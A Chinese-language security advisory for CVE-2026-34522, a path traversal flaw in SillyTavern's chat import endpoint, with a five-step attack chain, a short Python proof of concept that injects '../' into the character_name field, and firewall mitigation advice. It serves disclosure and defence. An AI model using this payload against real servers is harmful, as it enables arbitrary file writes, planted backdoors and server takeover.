IPBUF安全漏洞报告
English
CVE-2026-34522 CVSS 8.1 高危

CVE-2026-34522 SillyTavern路径遍历漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34522
漏洞类型
路径遍历
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SillyTavern

相关标签

Path TraversalSillyTavernCWE-22Arbitrary File WriteAuthentication Required

漏洞概述

SillyTavern是一款本地安装的大语言模型交互界面。在1.17.0版本之前,该应用的/api/chats/import接口存在严重的路径遍历漏洞。由于系统未对character_name参数进行严格的路径校验,经过身份认证的攻击者能够注入路径遍历序列,从而在应用程序预期的聊天目录之外写入任意攻击者控制的文件。成功利用此漏洞可能导致服务器被完全控制,严重威胁系统完整性与可用性。

技术细节

该漏洞的技术根源在于SillyTavern后端在处理聊天导入请求时,直接将用户可控的character_name参数用于文件路径拼接,而未对其进行标准化处理或包含检查(如检查“../”序列)。攻击者首先需要具备低权限账户(PR:L),随后构造恶意的HTTP POST请求发送至/api/chats/import端点。通过在character_name字段中嵌入“../”或绝对路径,攻击者能够绕过目录限制,将恶意内容写入服务器的任意位置。由于CVSS向量显示完整性和可用性影响为高,攻击者可覆盖关键系统文件(如配置文件)或在Web根目录写入后门文件,进而获得服务器执行权限,导致远程代码执行(RCE)或服务拒绝。

攻击链分析

STEP 1
信息收集
攻击者确认目标运行的是SillyTavern应用,且版本低于1.17.0。
STEP 2
获取凭证
攻击者注册或登录获取有效的低权限账户凭证(API Token或Session),满足PR:L要求。
STEP 3
漏洞利用
攻击者构造包含路径遍历字符(../)的恶意JSON数据包,发送POST请求至/api/chats/import接口,并操控character_name参数。
STEP 4
写入文件
服务器后端处理请求,未过滤特殊字符,导致将攻击者控制的内容写入到系统任意目录(如Web根目录)。
STEP 5
建立据点
攻击者访问写入的恶意文件或覆盖配置文件,进一步获取服务器权限,导致数据完整性破坏或服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (example) target_url = "http://localhost:8000/api/chats/import" # Attacker controlled payload utilizing path traversal # The goal is to write a file outside the 'chats' directory payload = { "character_name": "../../malicious_exploit.txt", # Path traversal sequence "chat_data": "This is attacker controlled content.", # Other required fields depending on API structure } # Headers (Authentication required as per PR:L) headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_AUTH_TOKEN>" } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")

影响范围

SillyTavern < 1.17.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过防火墙或Web应用防火墙(WAF)规则阻断对/api/chats/import路径的外部访问,或暂时禁用该功能模块,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表